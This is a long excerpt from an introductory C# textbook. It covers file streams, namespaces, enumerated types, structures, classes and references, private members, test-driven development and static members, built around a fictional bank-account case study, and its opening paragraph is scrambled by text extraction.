bad. We are going to consider two stream types which let programs use files. In fact you can use all the writing features including those we explored in the neater printing section to format your output.txt"). If your program got stuck writing in an infinite loop it is possible that it might fill up the storage device. The variable writer will be made to refer to the stream that you want to write into. If this happens.txt for output and connect the stream to it. 3.2 Creating an Output Stream You create a stream object just like you would create any other one. Most useful programs ask the user whether or not an existing file should be overwritten. you will find out later how to do this. In fact you are already familiar with how streams are used. A properly written program should probably make sure that any exceptions like this (they can also be thrown when you open a file) are caught and handled correctly. When the stream is created it can be passed the name of the file that is to be opened. The above statement calls the WriteLine method on the stream to make it write the text ―hello world‖ into the file test. by using new.
but significant. In fact it is quite OK to use this full form in your programs: System.Console. So. It will also be impossible to move or rename the file. A C# installation actually contains many thousands of resources. The using keyword allows us to tell the compiler where to look for resources. Sorry about that. That is. Once we have specified a namespace in a program file we no longer need to use the fully qualified name for resources from that namespace.4 Closing a Stream When your program has finished writing to a stream it is very important that the stream is explicitly closed using the Close method: writer. we’ve not had to use this form because at the start of our programs we have told the compiler to use the System namespace to find any names it hasn’t seen before. Any further attempts to write to the stream will fail with an exception. They put all the Roman artefacts in one room. the Console class in the System namespace. Once a file has been closed it can then be accessed by other programs on the computer. Whenever the compiler finds an C# Programming © Rob Miles 2010 73 . Forgetting to close a file is bad for a number of reasons: It is possible that the program may finish without the file being properly closed. using System.5 Streams and Namespaces If you rush out and try the above bits of code you will find that they don’t work. this object is defined in the System.6.Creating Programs Using Files 3. If you were in charge of cataloguing a huge number of items you would find it very helpful to lump items into groups. The C# language provides the keywords and constructions that allow us to write programs.Console.WriteLine("Hello World"). at the start of our C# programs. each of which must be uniquely identified. The designers of the C# language created a namespace facility where programmers can do the same kind of thing with their resources.e. close the file or suffer the consequences. If your program has a stream connected to a file other programs may not be able to use that file. and the Greek ones in another. These resources are things like the Console object that lets us read and write text to the user. There is something else that you need to know before you can use the StreamWriter type. In this situation some of the data that you wrote into the file will not be there.6. quite literally. Now we need to find out more about them. a ―space where names have meaning‖. This statement tells the compiler to look in the System namespace for resources. i. If your program creates lots of streams but does not close them this might lead to problems opening other files later on. The full name of the Console class that you have been using to write text to the user is System. part of operating resource. We have touched on namespaces before. A namespace is. when we reflected on the need to have the statement using System. 3. Like lots of the objects that deal with input and output. The above uses the fully qualified name of the console resource and calls the method WriteLine provided by that resource. but on top of this there are a whole lot of extra resources supplied with a C# installation. An open stream consumes a small.IO namespace.txt and take a look at what is inside it. However. Namespaces are all to do with finding resources.Close(). When the Close method is called the stream will write out any text to the file that is waiting to be written and disconnect the program from the file. Museum curators do this all the time. once the close has been performed you can use the Notepad program to open test.
txt.EndOfStream == false) { string line = reader. If the programmer miss-types the class name: Consle.IO. We will see how you can create your own namespaces later on. and so you must include the above line for file handling objects to be available.it knows to look in the System namespace for that object so that it can use the WriteLine method on it. It is possible to put one namespace inside another (just like a librarian would put a cabinet of Vases in the Roman room which he could refer to as Roman. The above program connects a stream to the file Test. Console. The above program will open up the file test.ReadLine(). reads the first line from the file. to use the file handing classes you will need to add the following statement at the very top of your program: using System.txt and display every line in the file on the console. reader. this does not imply that you use all the namespaces defined within it. just because you use a namespace. In other words. } reader. When the property becomes true the end of the file has been reached.6 Reading from a File Reading from a file is very similar to writing.WriteLine("Hello World"). .txt").6.Vases) and so the IO namespace is actually held within the System namespace. displays it on the screen and then close the stream. This is the same error that you will get if you try to use the StreamWriter class without telling the compiler to look in the System.Close(). 3. fail to find an object called Consle and generate a compilation error.Close(). StreamReader reader. In other words.WriteLine (line).WriteLine(line). when the compiler sees the statement: Console. reader = new StreamReader("Test. Detecting the End of an Input File Repeated calls of ReadLine will return successive lines of a file.the compiler will look in the System namespace. The while loop will stop the program when the end of the file is reached. However. TextReader reader = new StreamReader("Test. C# Programming © Rob Miles 2010 74 . Namespaces are a great way to make sure that names of items that you create don’t clash with those from other programmers.ReadLine(). while (reader.IO namespace. in that the program will create a stream to do the actual work. However. Fortunately the StreamReader object provides a property called EndOfStream that a program can use to determine when the end of the file has been reached.WriteLine("Hello World"). In this case the stream that is used is a StreamReader. Console. .txt"). If the file can’t be found then the attempt to open it will fail and the program will throw an exception. if your program reaches the end of the file the ReadLine method will return an empty string each time it is called.Creating Programs Using Files item it hasn’t seen before it will automatically look in the namespaces it has been told to use. string line = reader.
The location of a file on a computer is often called the path to the file. If you don’t give a folder location when you open a file (as we have been doing with the file Test. If you have problems where your program is not finding files that you know are there. another for Pictures and another one for Music.txt". the location of the folder and the name of the file itself.7 File Paths in C# If you have used a computer for a while you will be familiar with the idea of folders (sometimes called directories). The backslash (\) characters in the string serve to separate the folders along the path to the file. You can create your own folders inside these (for example Documents\Stories). This file is held in the folder November. The path a file can be broken into two parts.exe in the folder MyProgs then the above programs will assume that the file Test. Each file you create is placed in a particular folder. I’d advise you to make sure that your path separators are not getting used as control characters.txt is in the MyProgs folder too. If you use Windows you will find that there several folders created for you automatically. if you are running the program FileRead. which is in turn held in the folder 2009. The above statements create a string variable which contains the path to a file called sales. These are used to organise information we store on the computer. If you want to use a file in a different folder (which is a good idea. In other words. Note that I have specified a string literal that doesn’t contain control characters (that is what the @ at the beginning of the literal means) as otherwise the \ characters in the string will get interpreted by C# as the start of a control sequence. One can be used for Documents. path = @"c:\data\2009\November\sales.txt) then the system assumes the file that is being used is stored in the same folder as the program which is running.6. as data files are hardly ever held in the same place as programs run from) you can add path information to a filename: string path.txt. which is held in the folder data which is on drive C.Creating Programs Using Files 3. C# Programming © Rob Miles 2010 75 .
This is also. from video games to robots. 4. The program we are making is for a bank.1. The bank manager has told us that the bank stores information about each customer. otherwise known as the Friendly Bank.Creating Solutions Our Case Study: Friendly Bank 4 Creating Solutions 4. from a programming point of view it is an interesting problem and as we approach it we will uncover lots of techniques which will be useful in other programs that we might write. A lot of the things that our bank is going to do (store a large amount of information about a large number of individuals.1 Our Case Study: Friendly Bank The bulk of this section is based on a case study which will allow you to see the features of C# in a strong context. Of course if C# Programming © Rob Miles 2010 76 . implement transactions that change the content of one or more items in the system) are common to many other types of programs. This information includes their name. Programmer’s Point: Look for Patterns The number of different programs in the world is actually quite small. account number. The system must also generate warning letters and statements as required. as a customer will not usually have clear idea of what you are doing and may well expect you to deliver things that you have no intention of providing. a statement of what the system will not do. You are taking the role of a programmer who will be using the language to create a solution for a customer. balance and overdraft value. search for information for a particular person. If anyone asks you what you learnt today you can say "I learnt how to use enumerated types" and they will be really impressed. There are many thousands of customers and the manager has also told us that there are also a number of different types of accounts (and that new types of account are invented from time to time). 4. These notes should put the feature into a useful context. However. address. It is unlikely that you will get to actually implement an entire banking system during your professional career as a programmer (although it might be quite fun – and probably rather lucrative).2 Enumerated Types These sound really posh. This is equally as important. We will be creating the entire bank application using C# and will be exploring the features of C# that make this easy. By setting out the scope at the beginning you can make sure that there are no unpleasant surprises later on. At the moment we are simply concerned with managing the account information in the bank. Other data items might be added later. Bank Notes At the end of some sections there will be a description of how this new piece of C# will affect how we create our bank system. by implication.1 Bank System Scope The scope of a system is a description of the things that the system is going to do. the "United Friendly and Really Nice Bank of Lovely People ™".
in that I have decided that I need to keep track of the sea and then I have worked out exactly what I can put in it. My variable openSea is only able to hold values which represent the state of the sea contents. openSea = SeaState. Battleship. It can only have the given values above. These types are called "enumerated types": enum SeaState { EmptySea. and must be managed solely in terms of these named enumerations. RowingBoat } . Submarine.EmptySea. Of course C# itself will actually represent these states as particular numeric values. I have created a type called SeaState which can be used to hold the state of a particular part of the sea. States are not quite the same as other items such as the name of a customer or the balance of their account. C# has a way in which we can create a type which has just a particular set of possible values. this would mean that I have to keep track of the values myself and remember that if we get the value 7 in a sea location this is clearly wrong. sometimes we want to hold a range of particular values or states. you mean you’ve numbered some states" and not be that taken with it. For example. To understand what we are doing here we need to consider the problem which these types are intended to solve. However. But if you think of "enumerated" as just meaning "numbered" things get a bit easier. If we want to hold something which is either true or false we can use a bool. Sample states Enumerated types are very useful when storing state information. For example I must write: SeaState openSea .. but how these are managed is not a problem for me. 4.2.1 Enumeration and states Enumerated sounds posh. C# Programming © Rob Miles 2010 77 . Attacked. I am sort of assembling more metadata here. We know that if we want to hold an integer value we can use an int type.Creating Solutions Enumerated Types they know about programming they'll just say "Oh. I could do something with numbers if I like: Empty sea = 1 Attacked = 2 Battleship = 3 Cruiser = 4 Submarine = 5 Rowing boat = 6 However. Cruiser.
easier to understand and safer. 4. class EnumDemonstration { public static void Main () { TrafficLight light . we could have the states "Frozen". Every account will contain a variable of type AccountState which represents the state of that account. or states (for example OnSale. We now have a variable which can hold state information about an account in our bank. For the bank you want to hold the state of an item as well as other information about the customer. If this is the case it is sensible to create an enumerated type which can hold these values and no others enum AccountState { New. "New".2 Creating an enum type The new enum type can be created outside any class and creates a new type for use in any of my programs: using System. "Closed" and "Under Audit" as states for our bank account.Creating Solutions Enumerated Types Note that types I create (like SeaState) will be highlighted by the editor in a blue colour which is not quite the same as keywords. UnderOffer. Previously we have used types that are part of C#. Frozen.Red. Sold. Active. You should therefore use them a lot. enum TrafficLight { Red.2. C# Programming © Rob Miles 2010 78 . Programmer’s Point: Use enumerated types Enumerated types are another occasion where everyone benefits if you use them. Closed } . RedAmber. Now we have reached the point where we are actually creating our own data types which can be used to hold data values that are required by our application. The program becomes simpler to write. for example int and double. "Active". Green. light = TrafficLight. Amber } . UnderAudit. but they are not actually part of the C# language. This shows that these items are extra types I have created which can be used to create variables. like keywords are. OffTheMarket etc) then you should think in terms of using enumerated types to hold the values. It is important that you understand what is happening here. For example. } } Every time that you have to hold something which can take a limited number of possible values.
overdraft [0] holds the overdraft of the first customer.e. In C# a lump of data would be called a structure and each part of it would be called a field. int [] accountNos = new int [MAX_CUST] . i. AccountState [] states = new AccountState [MAX_CUST] .1 What is a Structure? Often when you are dealing with information you will want to hold a collection of different things about a particular item. string [] addresses = new string [MAX_CUST] . would be called a field. However it would be much nicer to be able to lump your record together in a more definite way.. A structure is a collection of C# variables which you want to treat as a single entity.integer value The Friendly Bank have told you that they will only be putting up to 50 people into your bank storage so. 4. after a while you come up with the following: const int MAX_CUST = 50. int [] overdraft = new int [MAX_CUST] . Negotiate an extortionate fee. 3. Like any good programmer who has been on my course you would start by doing the following: 1.integer value account balance .2 Creating a Structure C# lets you create data structures. This is all very well. get in written form exactly what they expect your system to do.3 Structures Structures let us organise a set of individual values into a cohesive lump which we can map onto one of the items in the problem that we are working on. (Remember that array subscript values start at 0). A sample structure From your specification you know that the program must hold the following: customer name . If we were talking about a database (which is actually what we are writing). and you could get a database system working with this data structure. int [] balances = new int [MAX_CUST] . 4. What we have is an array for each single piece of data we want to store about a particular customer.3.integer value overdraft limit . the lump of data for each customer would be called a record and an individual part of that lump. Establish precisely the specification.string account number . string [] names = new string [MAX_CUST] . 2. for example the overdraft value.Creating Solutions Structures 4. Consider how you will go about storing the data.3. In our program we are working on the basis that balance[0] holds the balance of the first customer in our database. and so on.string customer address .
called Account. public int AccountNumber . The second declaration sets up an entire array of customers. Having done this we can now define some variables: Account RobsAccount .would be the string containing the name of the customer in the element with subscript 25. When the assignment is performed all the values in the source structure are copied into the destination: Bank[0] = RobsAccount.would refer to the integer field AccountNumber in the structured variable RobsAccount. which contains all the required customer information. } . // enum enum AccountState { New. 4. (i. for example: RobsAccount. The first declaration sets up a variable called RobsAccount. UnderAudit. We can assign one structure variable to another.3 Using a Structure A program which creates and sets up a structure looks like this: using System. public string Name . the AccountNumber value in RobsAccount) You can do this with elements of an array of structures too. (full stop) separating them.Creating Solutions Structures struct Account { public AccountState State. public int Overdraft . This defines a structure. Frozen.3. Account [] Bank = new Account [MAX_CUST]. so that: Bank [25].e. C# Programming © Rob Miles 2010 80 . Closed } . We refer to individual members of a structure by putting their name after the struct variable we are using with a . Active.Name . called Bank which can hold all the customers. public string Address . just as we would any other variable type. This would copy the information from the RobsAccount structure into the element at the start of the Bank array.AccountNumber . public int Balance . which can hold the information for a single customer.
Structures and References It then sets the name property of the variable to the string "Rob".Name ). If the structure contained other items about the bank account these would be stored in the structure as well. But in the case of objects. This looks like a declaration of a variable called RobsAccount. The account class is called.WriteLine (RobsAccount. If we run this program it does exactly what you would expect. The compiler knows this. . class StructsAndObjectsDemo { public static void Main () { Account RobsAccount . Console. Creating and Using an Instance of a Class We can make a tiny change to the program and convert the bank account to a class: class Account { public string Name . } } The account information is now being held in a class. "you are trying to follow a reference which does not refer to anything. in that it prints out the name "Rob".3): error CS0165: Use of unassigned local variable ' RobsAccount' So. Since the tag is presently not tied to anything our program would fail at this point. rather than a structure. But when we create a reference we don't actually get one of the things that it refers to.is an attempt to find the thing that is tied to this tag and set the name property to "Rob".Name = "Rob".Creating Solutions Objects. This is achieved by adding a line to our program: C# Programming © Rob Miles 2010 84 . Account. therefore I am going to give you a 'variable undefined' error". and so it gives me an error because the line: RobsAccount.cs(12. RobsAccount. If you have the tag you can then follow the rope to the object it is tied to. in that they can be tied to something with a piece of rope. this is not what it seems. The problem is that when we compile the program we get this: ObjectDemo. The compiler therefore says. Such references are allowed to refer to instances of the Account. } . what is going on? To understand what is happening you need to know what is performed by the line: Account RobsAccount. You can think of them as a bit like a luggage tag. RobsAccount What you actually get when the program obeys that line is the creation of a reference called RobsAccount.Name = "Rob". quite simply. and I could use them in just the same way. in effect. We solve the problem by creating an instance of the class and then connecting our tag to it.
class StructsAndObjectsDemo { public static void Main () { Account RobsAccount .2 References We now have to get used to the idea that if we want to use objects.WriteLine (RobsAccount. The new keyword causes C# to use the class information to actually make an instance. A class provides the instructions to C# as to what is to be made. and what it can do.Creating Solutions Objects. This is because an array is actually implemented as an object.4. not RobsAccount. This is because the object instance does not have the identifier RobsAccount. 4. we have to use references. RobsAccount. it is simply the one which RobsAccount is connected to at the moment. Actually this is not that painful in reality. Consider the following code: C# Programming © Rob Miles 2010 85 .Name = "Rob". Note that in the above diagram I have called the object an Account. and so we use new to create it. } } The line I have added creates a new Account object and sets the reference RobsAccount to refer to it. you hold a tag which is tied onto an instance… Multiple References to an Instance Perhaps another example of references would help at this point. The two come hand in hand and are inseparable. and that means that we must manage our access to a particular object by making use of references to it. Structures and References class Account { public string Name . Structures are kind of useful. The thing that new creates is an object. An object is an instance of a class. but for real object oriented satisfaction you have to have an object. in that you can treat a reference as if it really was the object just about all of the time.Name ). We use it to create arrays. } . but you must remember that when you hold a reference you do not hold an instance. RobsAccount = new Account(). I'll repeat that in a posh font: “An object is an instance of a class” I have repeated this because it is very important that you understand this. Account RobsAccount Name: Rob We have seen this keyword new before. Console.
There is no limit to the number of references that can be attached to a single instance. RobsAccount.Name ). The question is: What happens to the first instance? Again.WriteLine (RobsAccount. RobsAccount = new Account(). so you need to remember that changing the object that a reference refers to may well change that instance from the point of view of other objects.Name ). This means that any changes which are made to the object that Temp refers to will also be reflected in the one that RobsAccount refers to.Name = "Rob". Temp.WriteLine (RobsAccount. sets the name property of it to Rob and then makes another account instance. This indicates a trickiness with objects and references. Temp = RobsAccount. because they are the same object. which has the name set to Jim.Name ).WriteLine (RobsAccount. what would the second call of WriteLine print out? If we draw a diagram the answer becomes clearer: Account RobsAccount Name: Jim Temp Both of the tags refer to the same instance of Account. The reference RobsAccount is made to refer to the new item. The question is.Name = "Jim". Structures and References Account RobsAccount . This means that the program would print out Jim. This code makes an account instance. since that is the name in the object that RobsAccount is referring to.Name = "Jim". Console. RobsAccount = new Account(). Console.Name ). RobsAccount = new Account().Name = "Rob". Account Temp . RobsAccount.WriteLine (RobsAccount. this can be made clearer with a diagram: C# Programming © Rob Miles 2010 86 . Console.Creating Solutions Objects. No References to an Instance Just to complete the confusion we need to consider what happens if an object has no references to it: Account RobsAccount . RobsAccount. Console.
Programmer’s Point: Try to avoid the Garbage Collector While it is sometimes reasonable to release items you have no further use for. So why do we bother with them? To answer this we can consider the Pacific Island of Yap. They seem to make it harder to create and use objects and may be the source of much confusion. Structures and References Account RobsAccount Name: Rob Account Name: Jim The first instance is shown ―hanging‖ in space. you must remember that creating and disposing of objects will take up computing power. In other words they use references to manage objects that they don’t want to have to move around. localVar = new Account(). The value of a ―coin‖ in the Yap currency is directly related to the number of men who died in the boat bringing the rock to the island. Just because the objects are disposed of automatically doesn’t mean that you should abuse the facility. Note that the compiler will not stop us from ―letting go‖ of items like this. Consider a bank which contains many accounts. As far as making use of data in the instance is concerned. Indeed the C# language implementation has a special process. with nothing referring to it. This means that when the program execution leaves the block the local variable is discarded. 4. meaning another job for the garbage collector.3 Why Bother with References? References don’t sound much fun at the moment. When I work with objects I worry about how much creating and destroying I am doing.Creating Solutions Objects.4. Instead you just say ―The coin in the road on top of the hill is now yours‖. The currency in use on this island is based around 12 feet tall stones which weigh several hundred pounds each. This means that the only reference to the account is also removed. When you pay someone with one of these coins you don’t actually pick it up and give it to them. } The variable localVar is local to the block. C# Programming © Rob Miles 2010 87 . That is why we use references in our programs. called the ―Garbage Collector‖ which is given the job of finding such useless items and disposing of them. it might as well not be there. If we wanted to sort them into alphabetical order of customer name we have to move them all around. You should also remember that you can get a similar effect when a reference to an instance goes out of scope: { Account localVar .
The bank may well want to order the information in more than one way too. Then C# Programming © Rob Miles 2010 88 . by structuring our data into a tree form. Structures and References Sorting by moving objects around If we held the accounts as an array of structure items we would have to do a lot of work just to keep the list in order. one can refer to a node which is ―lighter‖. References and Data Structures Our list of sorted references is all very good. New objects can be added without having to move any objects. for example they might want to order it on both customer surname and also on account number. Without references this would be impossible.Creating Solutions Objects. each of which is ordered in a particular way: Sorting by using references If we just sort the references we don’t have to move the large data items at all. the other to a node which is ―darker‖. With references we just need to keep a number of arrays of references. Sorting by use of a tree In the tree above each node has two references. and also speed up searching. but if we want to add something to our sorted list we still have to move the references around. If I want a sorted list of the items I just have to go as far down the ―lighter‖ side as I can and I will end up at the lightest. instead the references can be moved around. We can get over this.
Bank Notes: References and Accounts For a bank with many thousands of customers the use of references is crucial to the management of the data that they hold. because of the size of each account and the number of accounts being stored. The references are very small "tags" which can be used to locate the actual item in memory. This means that we can offer the manager a view of his bank sorted by customer name and another view sorted in order of balance.Creating Solutions Designing With Objects I go up to the one above that (which must be the next lightest). The reason that we do this is that we would like a way of making the design of our systems as easy as possible. Sorting a list of references is very easy. for now we just need to remember that the reference and the object are distinct and separate. and if possible get someone else to do it. The accounts will be held in the memory of the computer and. in which case the item is not in the structure. The neat thing about this approach is also that adding new items is very easy.‖ Objects let us do this. object based design turns this on its head. don’t worry. and it would also be possible to have several such lists.5 Designing With Objects We are now going to start thinking in terms of objects. Then I go down the dark side (Luke) and repeat the process. it will not be possible to move them around memory if we want to sort them. Programmer’s Point: Data Structures are Important This is not a data structures document. And if the manager comes along with a need for a new structure or view we can create that in terms of references as well. We will consider this aspect of object use later. it is a programming document. 4. in that I can look at each node and decide which way to look next until I either find what I am looking for or I find there is no reference in the required direction. If you don’t get all the stuff about trees just yet. But sometime in the future you are going to have to get your head around how to build structures using these things. Searching is also very quick. as well as the data payload. a bit like President Kennedy did all those years ago: C# Programming © Rob Miles 2010 89 . Reference Importance The key to this way of working is that an object can contain references to other objects. This means that the only way to manipulate them is to leave them in the same place and have lists of references to them. This all comes back to the ―creative laziness‖ that programmers are so famous. I just find the place on the tree that they need to be hung on and attach the reference there. The thing that we are trying to do here is best expressed as: ―Put off all the hard work for as long as we can. Just remember that references are an important mechanism for building up structures of data and leave it at that.
metadata and testing. C# Programming © Rob Miles 2010 90 . It is important at design time that we identify what should not be possible. class Account { public decimal Balance. we can consider our bank account in terms of what we want it to do for us. In this section we are going to implement an object which has some of the behaviours of a proper bank account. my fellow Americans: ask not what your country can do for you—ask what you can do for your country‖ (huge cheers) We don’t do things to the bank account. Programmer’s Point: Not Everything Should Be Possible Note that there are also some things that we should not be able to do with our bank account objects. The first thing is to identify all the data items that we want to store in it. the next thing we need to do is devise a way in which each of the actions can be tested. That way we can easily find out if bad things are being done. Members of a class which hold a value which describes some data which the class is holding are often called properties. RobsAccount = new Account(). Each time I create an instance of the class I get all the members as well. This brings us back to a couple of recurring themes in this document. The reason that this works is that the members of the object are all public and this means that anybody has direct access to them.Balance = 0. We might even identify some things as being audited. we don’t have to worry precisely how they made it work – we just have to sit back and take the credit for a job well done. The really clever bit is that once we have decided what the bank account should do. Instead we ask it to do these things for us.Balance = 99. We have already seen that it is very easy to create an instance of a class and set the value of a member: Account RobsAccount . And once we have decided on the actions that the account must perform.1 Data in Objects So. If our specification is correct and they implement it properly. RobsAccount. I’ve used the decimal type for the account balance. since this is specially designed to hold financial values. 4. What a bank account object should be able to do is part of the metadata for this object. The design of our banking application can be thought of in terms of identifying the objects that we are going to use to represent the information and then specifying what things they should be able to do. For the sake of simplicity. along with what should be done. we then might be able to get somebody else to make it do these things. } The Account class above holds the member that we need to store about the balance of our bank accounts. in that an object will keep track of what has been done to it. This will let me describe all the techniques that are required without getting bogged down too much.5. This means that any programmer writing the application can do things like: RobsAccount. We have seen that each of the data items in a class is a member of it and stored as part of it. The account number of an account is something which is unique to that account and should never change. We can get this behaviour by simply not providing a means by which it can be changed. for now I’m just going to consider how I keep track of the balance of the accounts.Creating Solutions Designing With Objects ―And so.
balance = 0. in our bank program we want to make sure that the balance is never changed in a manner that we can't control. C# Programming © Rob Miles 2010 91 . This means that the outside world no longer has direct access to it. I want all the important data hidden inside my object so that I have complete control over what is done with it. now you can’t change it at all‖. You are thinking ―What is the point of making it private. thanks for the vote of confidence folks. 4. public bool WithdrawFunds ( decimal amount ) { if ( balance < amount ) { return false .Account. . The first thing we need to do is stop the outside world from playing with our balance value: class Account { private decimal balance.balance' is inaccessible due to its protection level The balance value is now held inside the object and is not visible to the outside world. } } . } balance = balance . but only using code actually running in the class. If we are going to provide a way of stopping this from happening we need to protect the data inside our objects.5. return true. Instead it is now private. The posh word for this is encapsulation. whatever else happens. Well.cs(13. Ideally I want to get control when someone tries to change a value in my objects.Creating Solutions Designing With Objects .I will get an error when I try to compile the program: PrivateDemo. and stop the change from being made if I don’t like it.and take away all my money. If I write the code: RobsAccount.3): error CS0122: 'PrivateMembers. Consider the program: class Account { private decimal balance = 0. } The property is no longer marked as public. This technology is the key to my defensive programming approach which is geared to making sure that. It turns out that I can change the value. my part of the program does not go wrong. For example.2 Member Protection inside objects If objects are going to be useful we have to have a way of protecting the data within them.amount . Changing private members I can tell what you are thinking at this point.
make it private if it is a method member (i. RobsAccount = new Account(). task you can make it private. If you want to write a method which is only used inside a class and performs some special. because I reckon that the name of the member is usually enough. secret.).Creating Solutions Designing With Objects class Bank { public static void Main () { Account RobsAccount. The metadata that I gather about my bank system will drive how I provide access to the members of my classes. } } } This creates an account and then tries to draw five pounds out of it. The convention also extends to variables which are local to a block. it holds data) of the class.e. If you don’t care about possible corruption of the member and you want your program to run as quickly as possible you can make a data member public. This means that code running outside the class can make calls to that method. They would call their balance value m_balance so that class members are easy to spot. since we want people to interact with our objects by calling methods in them. In general the rules are: if it is a data member (i. In the code above the way that I am protecting the balance value is a reflection of how the customer wants me to make sure that this value is managed properly. But I make the first letter of private members lower case (as in the case of the balance data member of our bank account). These (for example the ubiquitous i) always start with a lower case letter. This will of course fail. So perhaps now is a good time. and expect developers to adhere to these. The most important thing in this situation is that the whole programming team adopts the same conventions on matters like these. Some people go further and do things like put the characters m_ in front of variables which are members of a class. most development companies have documents that set out the coding conventions they use. I don’t usually go that far. In fact.WriteLine ( "Insufficient Funds" ) . the rules can be broken on special occasions. because they can see from the name of a class member whether or not it is public or private. but it shows how I go about providing access to members in an account. C# Programming © Rob Miles 2010 92 . it does something) make it public Of course.WithdrawFunds (5) ) { Console. but opinions differ on this one. if ( RobsAccount. The method WithdrawFunds is a member of the Account class and can therefore access private members of the class. This has got to be the case.e. since the initial balance on my account is zero.WriteLine ( "Cash Withdrawn" ) . } else { Console. public Methods You may have noticed that I made the WithdrawFunds method public. Programmer’s Point: Metadata makes Members and Methods I haven’t mentioned metadata for at least five minutes. This makes it easy for someone reading my code.
Some development teams actually connect sirens and flashing red lights to their test systems. which is tedious.PayInFunds(50).PayInFunds(50). } public void PayInFunds ( decimal amount ) { balance = balance + amount .3 A Complete Account Class We can now create a bank account class which controls access to the balance value: public class Account { private decimal balance = 0. My tests count the number of errors that they have found. and if you don’t notice it then you might think your code is OK.amount . C# Programming © Rob Miles 2010 93 . Later we will consider the use of unit tests which make this much easier. If the error count is greater than zero they print out a huge message in flashing red text to indicate that something bad has happened. } } The bank account class that I have created above is quite well behaved. find out how much is there and withdraw cash.GetBalance() != 50 ) { Console.5. The method GetBalance is called an accessor since it allows access to data in my business object. so that it is impossible to ignore a failing test. } My program now tests itself. At the end of this set of statements the test account should have 50 pounds in it. I have created three methods which I can use to interact with an account object. public bool WithdrawFunds ( decimal amount ) { if ( balance < amount ) { return false . } balance = balance .Creating Solutions Designing With Objects 4. test. if ( test. in that it does something and then makes sure that the effect of that action is correct. } public decimal GetBalance () { return balance. for example: Account test = new Account(). They then search out the programmer who caused the failure and make him or her pay for coffee for the next week. It just produces a little message if the test fails. Of course I must still read the output from all the tests.WriteLine ( "Pay In test failed" ). test. Programmer’s Point: Make a Siren go off when your tests fail The above test is good but not great. I could write a little bit of code to test these methods: Account test = new Account(). You have to read that message. I can pay money in. return true. If it does not my program is faulty.
This means that whenever we create an instance of the Account class we get a balance member. You can write code early in the project which will probably be useful later on. For example it should be easy to adjust how much damage a hit from an alien causes to your spacecraft. we can also create members which are held as part of the class.4 Test Driven Development I love test driven development. because although it is easy to send things into a program it is often much harder to see what the program does in response. 2. 4. Some types of programs are really hard to test in this way. If the bugs are in an old piece of code you have to go through the effort of remembering how it works. when you have the best possible understanding of what it is supposed to do. You will thank me later. This solves three problems that I can see: 1. 3. This is usually the worst time to test. the code that provides the user interface where the customer enters how much they want to withdraw will be very simple and connect directly to the methods provided by my objects. This is mainly because the quality of gameplay is not something you can design tests for. Only when someone comes back and says “The game is too hard because you can’t kill the end of level boss without dying” can you actually do something about it. The other kind of program that is very hard to test in this way is any kind of game. they exist outside of any particular instance. As long as my object tests are passed. It is very important that you learn what static means in the context of C# programs. And there is a good chance that the tests that you write will be useful at some point too. Many projects are doomed because people start programming before they have a proper understanding of the problem. If I ever write anything new you can bet your boots that I will write it using a test driven approach. My approach in these situations is to make the user interface part a very thin layer which sits on top of requests to objects to do the work. I can be fairly confident that the user interface will be OK too. Anything with a front end where users type in commands and get responses is very hard to test like this.6. However.Creating Solutions Static Items 4. and the speed of all the game objects.1 Static class members The static keyword lets us create members which are not held in an instance. You don't do the testing at the end of the project.e. since you might be using code that you wrote some time back. Programmer’s Point: Some things are hard to test Test development is a good way to travel.6 Static Items At the moment all the members that we have created in our class have been part of an instance of the class. but in the class itself. In the case of our bank account above. i. Far better to test the code as you write it. please develop using tests. Writing the tests first is actually a really good way of refining your understanding. So.5. We have used it lots in just about every program that we have ever written: C# Programming © Rob Miles 2010 94 . If you have a set of automatic tests that run after every bug fix you have a way of stopping this from happening. 4. but it does not solve all your problems. The only solution in this situation is to set out very clearly what your tests are trying to prove (so that the human testers know what to look for) and make it very easy to change the values that will affect the gameplay. When you fix bugs in your program you need to be able to convince yourself that the fixes have not broken some other part (about the most common way of introducing new faults into a program is to mend a bug).
InterestRateCharged = 10. public decimal InterestRateCharged . and if I missed one account. } } The AccountTest class has a static member method called Main. in that when it starts it has not made any instances of anything. This is how my program actually gets to work. Members of a class which have been made static can be used just like any other member of a class. This means that to implement the change I'd have to go through all the accounts and update the rate. If I made fifty AccountTest instances. and so this method must be there already. Consider the interest rates of our bank accounts.Creating Solutions Static Items class AccountTest { public static void Main () { Account test = new Account(). not part of an instance of the class. 4. In the program we can implement this by adding another member to the class which holds the current interest rate: public class Account { public decimal Balance . possibly expensive. but I'm keeping things simple just now). Static does not mean "cannot be changed". Account RobsAccount = new Account(). In terms of C# the keyword static flags a member as being part of the class. I will write that down again in a posh font. otherwise it cannot run. } Now I can create accounts and set balances and interest rates on them.2 Using a static data member of a class Perhaps an example of static data would help at this point. (of course if I was doing this properly I'd make this stuff private and provide methods etc. If the interest rate changes it must change for all accounts. not a member of an instance of the class” I don't have to make an instance of the AccountTest class to be able to use the Main method. Either a data member or a method can be made static. for it is important: “A static member is a member of the class.Balance = 100. The customer has told us that one of the members of the account class will need to be the interest rate on accounts. I solve the problem by making the interest rate member static: C# Programming © Rob Miles 2010 95 . I think this is time for more posh font stuff: Static does not mean “cannot be changed”. RobsAccount. test. I've been told that the interest rate is held for all the accounts.6. they would all share the same Main method.WriteLine ("Balance:" + test. The snag is. This would be tedious. Console.GetBalance()). We know that this is the method which is called to run the program. RobsAccount.PayInFunds (50). It is part of the class AccountTest.
A change to a single static value will affect your entire system. It would take in their age and income.6. But you can also use them when designing your system. The snag is that. For example.. But of course. at the moment. and you don't want to have to update all the objects in your program. not part of any instance. 4. } else { return false. } } Now the method is part of the class. There might be a time where the age limit changes. It would then return true or false depending on whether these are acceptable or not: public bool AccountAllowed ( decimal income. we might have a method which decides whether or not someone is allowed to have a bank account. Things like the limits of values (the largest age that you are going to permit a person to have) can be made static. You should be careful about how you provide access to static data items. "With great power comes great responsibility". We can solve this by making the method static: public static bool AccountAllowed ( decimal income. as Spiderman's uncle said. public static decimal InterestRateCharged . } The interest rate is now part of the class. We have been doing this for ages with the Main method. int age ) { if ( ( income >= 10000 ) && ( age >= 18 ) ) { return true.Creating Solutions Static Items public class Account { public decimal Balance . int age ) { if ( ( income >= 10000 ) && ( age >= 18 ) ) { return true.3 Using a static method in a class We can make methods static too. I can now call the method by using the class name: C# Programming © Rob Miles 2010 96 .Balance = 100. we can't call the method until we have an Account instance. This means that I have to change the way that I get hold of it: Account RobsAccount = new Account(). not an instance of the class. } } This checks the age and income. Account. So they should always be made private and updated by means of method calls. RobsAccount. you must be over 17 and have at least 10000 pounds income to be allowed an account. } else { return false.InterestRateCharged = 10.
